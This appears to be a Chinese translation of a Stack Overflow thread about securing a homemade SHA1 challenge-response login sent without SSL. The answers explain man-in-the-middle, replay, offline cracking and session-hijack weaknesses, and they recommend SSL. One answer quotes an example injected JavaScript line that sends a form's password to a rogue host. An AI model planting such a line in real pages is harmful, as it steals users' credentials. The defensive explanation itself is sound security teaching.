网络身份认证 - 如何安全地将用户名/密码从客户端传输到服务器

4
我有一个网络应用程序(Java),想要启动它。用户需要登录系统才能使用功能。因此,这个应用程序有两个部分:
1) 用户注册
2) 登录
我的担心是,从Web浏览器到服务器传输用户名/密码数据的方法有多安全。

注册

我对这个问题很困惑,因为我不太确定如何安全地从Web浏览器向服务器发送数据。

登录

我有以下设置:

<< 客户端 >> ------------------------------------------------------<< 服务器 >>
[请求token] ------------------------------------------------------------->>
<<--------------[发送随机生成的session ID token]
[客户端计算 hashedSecret = SHA1(token + SHA1(password))]
[发送数组:[username, hashedSecret]]----------------------------------->>
[服务器查询数据库中用户名的SHA1(password)]
[服务器计算 expectedSecret = SHA1(token + SHA1(password))]
[服务器将hashedSecret与expectedSecret进行比较]


我想知道如何安全地注册用户,以及我的登录是否足够安全。

谢谢


2
你期望的威胁是什么?如果你只担心数据在传输过程中被抓包,那么使用SSL并忽略你自己的任何高级操作 - 就像发送任何Web请求一样发送用户/密码,SSL将防止抓包。 - Marc B
HTTPS == HTTP + SSL 如果默认配置,您的应用程序将从端口80更改为443,并且将使用更多的CPU时间。但是实现自己的握手逻辑也是如此。 而且,理论上,如果在令牌生成中添加随机盐,则可以正确执行。 - japrescott
我要发布应用程序的网站目前还没有SSL证书,但是他们正在计划获取一个。因此,在他们获得证书之前,我必须使用某种加密/哈希技术来传输数据到服务器。我可以想出登录过程,但不知道如何保护注册过程。我担心的威胁是重放/中间人攻击和嗅探器。 - Bashir
1
如果没有受信任的证书,您无法防止中间人攻击。这是毋庸置疑的。 推荐阅读:https://dev59.com/61nUa4cB1Zd3GeqPXiLc#6658596 要了解解决方法,请查看aSSL:http://assl.sullof.com/assl/securityfaq.asp - user123444555621
这些链接非常有帮助,谢谢。 - Bashir
3个回答

9

看起来…过于复杂。只需使用SSL,它是业界标准,并足够安全用于银行。


8

当然,是否“足够安全”取决于您作为系统所有者的判断。如果您预期的对手没有技术并且缺乏动机,并且身份验证失败的影响较小,则可以认为是安全的。但如果您要保护的内容具有重要价值,则这可能不是一个足够安全的解决方案。

以下是几种攻击方式,这种方法很可能会易受攻击。

中间人攻击:

 Client          Eavesdropper            Server
 Requests token-------X----------------------->
 <--------------------X-------------Sends token
 Sends PW hash--------X
                      Relays client hash ------>
                      X<-----------Authenticates

窃听者监听客户端的认证响应,然后将其转发给服务器。服务器验证其正确性并对窃听者进行身份验证。

离线密码哈希攻击

能够读取客户端和服务器之间消息的窃听者将拥有令牌和用于生成哈希的逻辑(来自JavaScript)。因此,攻击者将知道H(token + H(password))tokenH(x),其中H是加密哈希算法(SHA1)。

攻击者可以对客户端响应运行字典攻击以猜测密码,攻击者可以尝试使用字典攻击和类似方法离线破解密码。由于攻击者不需要对服务器进行身份验证,而是可以离线破解密码,因此中等弱密码可以很快被破解。

在传输过程中修改服务器消息

客户端无法保证服务器消息的完整性,消息可能在传输过程中被修改。例如,恶意中介可以将一行JavaScript插入HTML页面中,通过DOM截取密码并将其发送到流氓服务器。(例如,流氓中介可能在表单提交方法中插入new Image().src='http://www.rogueserver.xy/a.gif?password=' + document.forms[0].password.value。)

重放攻击

如果服务器令牌重复频率足够高,则窃听者可以捕获成功的令牌/响应对。攻击者可以随后进行大量的令牌请求,等待已知令牌被回收。然后,攻击者将已知令牌响应重放到服务器上。服务器将攻击者的响应与预期响应进行比较并对攻击者进行身份验证。

身份认证后攻击

会话经过身份验证后,客户端和服务器消息继续以明文形式发送。攻击者可能会进行会话劫持攻击,使用客户端的会话cookie来冒充经过身份验证的客户端。攻击者还可能截取服务器和客户端之间的机密数据,或在传输中更改数据,从而危及客户端/服务器通信的机密性、完整性和不可否认性。例如,客户端可能发送一个响应以执行BenignAction,攻击者在传输中将其更改为GetSecretData。攻击者随后读取表面上包含机密数据的响应。

这就是说,所提出的方法可能比以明文形式发送密码并没有更多的安全性。如果安全性是一个问题,使用来自受信任CA的证书的SSL将(实际上)有效地防止所有这些攻击。


0

@Quentin 发布了 SSL 很好,并且在当今工业中使用的内容。它是最容易实现的安全方法之一,但对于我来说,它只能获得 C 级或更低的安全评级。银行应用程序和其他网站根据您尝试保护的信息使用更强大的安全方法。

例如,StackOverflow.com 使用标准 POST 表单创建用户并通过 SSL 保护流量。这对于仅是社区知识库站点的站点已足够。示例 POST:

POST https://stackoverflow.com/users/login-or-signup/validation/track         
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: https://stackoverflow.com/users/signup?returnurl=http%3a%2f%2fstackoverflow.com%2fquestions%2f9008997%2fweb-authentication-how-to-securely-transfer-username-password-from-the-client
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Host: stackoverflow.com
Content-Length: 240
Connection: Keep-Alive
Cache-Control: no-cache

isSignup=true&isLogin=false&isPassword=false&isAddLogin=false&hasCaptcha=false&fkey=asd231232s30b71ead6f8af06f93b85c&legalLinksShown=1&displayname=[MyScreeName]&email=[MyEmail]&password=[SOMEPASSWORD]&password2=[SOMEPASSWORD]&submitbutton=Sign

银行则使用像富国银行应用程序这样的二进制序列化、私人客户密钥加密和SSL对表单进行传输。这有点像“安全通过混淆”,但比只使用SSL要好。我的意见,就是这样。干杯!

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接